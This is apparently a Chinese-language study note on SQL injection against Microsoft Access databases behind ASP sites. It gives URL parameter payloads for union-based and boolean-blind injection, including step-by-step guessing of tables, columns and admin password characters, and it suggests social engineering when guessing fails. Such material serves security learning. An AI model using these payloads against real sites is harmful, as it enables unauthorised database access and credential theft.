Access数据库注入

数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。

注意:Access只有一个数据库,且一般搭配脚本语言ASP/ASPX。

数据结构

库(唯一的库)-->表-->字段-->值

判断数据库类型

and (select count(*) from msysobjects)>0

其中msysobjectsaccess独有的表,且外部无法访问。执行上述语句如果报错则是Access数据库,否则就是Mssql数据库(SQL server)。

注:Access数据库没有注释符,所以只能采用%00截断的方式,如果在PHP中开启了魔术引号,则要将查询的语句转换为十六进制。

开始注入

注入方法

  • 联合注入
  • 盲注

联合注入详细步骤

  1. 首先判断是否存在注入点:提交单引号或双引号或者逻辑运算,这里的单双引号是判断是否是数字型还是字符型注入。

    例:提交单引号或双引号:URL?id=1'若报错则存在注入点。

    例:逻辑运算:URL?id=1' and 1=1--+正常,URL?id=1' and 1=2--+报错,则存在注入点。

  2. 确定列明数目

    例:URL?id=1' order by 列名数

  3. 猜表名:

    猜到表名继续使用联合注入:URL?id=XX' union select 1,2,3,4,..,.... from 表名

  4. 猜列名:

    同上

  5. 爆数据

    猜出列名就会返回数据。

布尔盲注详细步骤

布尔盲注一般适用于页面没有回显字段 (不支持联合查询),且web页面返回true 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false 使web页面返回true或者false,从而达到注入的目的来获取信息。常用函数有ascii(),mid(),substr(),group_concat(),length()等。

  1. 判断注入点和数据库种类(同联合查询)

  2. 猜表名

    and 0 <> (select count(*) from 表名)
    其中"<>"是不等于的意思,如果正常则存在该表。
    
  3. 猜记录数

    and (select count(*) from 表名)=n
    如果正常则记录n。
    
  4. 猜列名(字段名)

    and (select count(*) from 表名 where len(列名)>0)=1
    如果正常则存在该列。
    
  5. 猜数据长度

    and (select count(*) from 表名 where len(列名)>n)=1
    如果正常,则该长度为n,由于密码是MD5加密,所以一般猜测16位或32位。
    
  6. 爆数据

    and (select top 1 asc(mid(admin,位数,1)) from admin)=ascii值
    如果正常,则表示转换成相应字母。
    

小结

联合注入速度快,但是兼容性差,逐字猜解法很慢且繁琐但是兼容性好。对于Access数据库只能靠暴力猜解,因此经常会猜不到列名,这样的情况可以使用偏移注入,猜解不到表名可以使用社工。

对于数据库相关的基础知识这只是简单讲解后期我会总结一个全类型的SQL注入学习笔记。

对于实操的话可以看Mysql的相关注入,例如本站的(Mysql——sql注入闯关笔记)[]。